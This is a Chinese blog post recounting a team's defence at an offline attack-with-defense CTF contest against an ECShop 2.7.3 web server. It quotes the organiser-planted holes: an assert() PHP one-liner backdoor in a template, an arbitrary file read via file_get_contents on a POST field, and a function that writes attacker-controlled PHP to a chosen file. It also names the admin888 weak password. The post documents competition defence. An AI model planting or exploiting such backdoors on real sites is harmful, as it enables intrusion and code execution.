线下AWD被打指南
概
前几天跑去玩了玩安恒的线下AWD,被很多大佬吊打(物理)。
简单分析一下本次AWD的内容,顺便总结一下AWD要注意的一些事项。这次是比较基础的AWD,没有pwn,只有Web。
Start
比赛开始拿到自己机器,不是root权限,写文件有限制。Web服务是ECShop V2.7.3,AngelSword里查了一下,发现两个漏洞,但是都没有成功复现:
己方服务器ip是10.50.20.2,推测出所有靶机地址,10.50.[1-37].2,10.50.0.2可能为NPC机。
提交和获取Flag都需要带上团队Token:
//获取flag
http://10.0.1.2?token=XXXXXXXX
//提交flag
https://192.168.37.180/match/WAR20/oapi?atn=answers&token=XXXXXXXX&flag=flag{}
赶紧把var/www/html拷贝了一份到本地,(由于经验不足,没有想办法备份数据库,导致后面的惨剧 ,嘤)同时打开D盾扫Shell,主办方的shell藏得挺好的,D盾扫不到。
waf装上去之后服务瞬间爆炸,赶紧恢复备份,还好check是从20分钟开始的,没有被扣分。
本次比赛时间很紧,总共只有3h。前半个多小时大家和平发育,除了几个队伍可能自己玩坏了自己服务,或者战略关闭服务器之外,没有任何一支队伍成功攻击。
php一句话
40分钟时,主办方给出第一个提示:
dwt是未渲染的模板文件,跟进发现:
<div class="con">{:assert($_POST[1])}
...
</div>
删掉即可。
文件读取
1h多时主办方直接在tips里给了exp…
定位:
switch ($row['media_type']) {
//...
case 4: // url
$ads[] = file_get_contents($_POST['url']);
}
发现任意文件读取,因为参数本身就是url,且不清楚check的规则是什么,暂且直接删掉。
new exp
距离上次exp不到10分钟,又给了一个攻击流量,漏洞就是第一个放出来的auction_list模板内的一句话。
删掉那句后门就行了。
文件写入
新提示
之前在AngelSword见到了uc的注入,但是不是mobile下的,对比mobile下和api下的uc.php:
发现多了一个writesth函数:
function writesth($get, $post){
$cachefile = $this->appdir .$get['name'];
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= $get['content'];
fwrite($fp, $s);
fclose($fp);
return API_RETURN_SUCCEED;
}
name和content均可控,直接写入即可,注意写入权限。
惨遭删库
最后一小时主办方给出最后一个提示
但是这时候我们发现自己的网站凉了…
心里咯噔一下,数据库炸了?检查一下数据库发现…给人删库了…没备份数据库…naive了呀…目测是排名跟我们相近的队伍发现了SQL注入,把做了防御,他们队拿不到分的机器给炸了,一方面减缓高分队伍得分速度,另一方面让我们每5分钟扣100分。当时真的是想掏个emp啥的出来来一发无差别攻击…
现在回想起来,如果当时是有权限删除data目录文件的话,删掉lock文件,就可以重新安装cms,或者找到structure.sql也能恢复数据库了,当时手忙脚乱的没反应过来,果然还是太菜…
BTW,看了@一叶飘零 的wp,得知弱口令是admin888,发现我们字典里刚好没有…
复现环境之后再找找其他洞,找到会更新(2019.06.03更新:”咕”)。